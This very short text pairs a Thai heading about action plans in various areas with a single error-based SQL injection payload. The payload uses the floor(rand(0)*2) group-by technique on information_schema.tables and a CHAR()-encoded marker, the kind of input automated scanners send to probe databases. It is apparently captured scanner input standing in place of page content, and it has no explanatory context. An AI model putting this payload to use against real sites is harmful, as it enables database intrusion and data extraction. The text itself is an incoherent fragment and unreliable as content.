แผนปฎิบัติการด้านต่างๆ

and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(119),CHAR(84),CHAR(55),CHAR(111),CHAR(88),CHAR(104),CHAR(97),CHAR(85)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and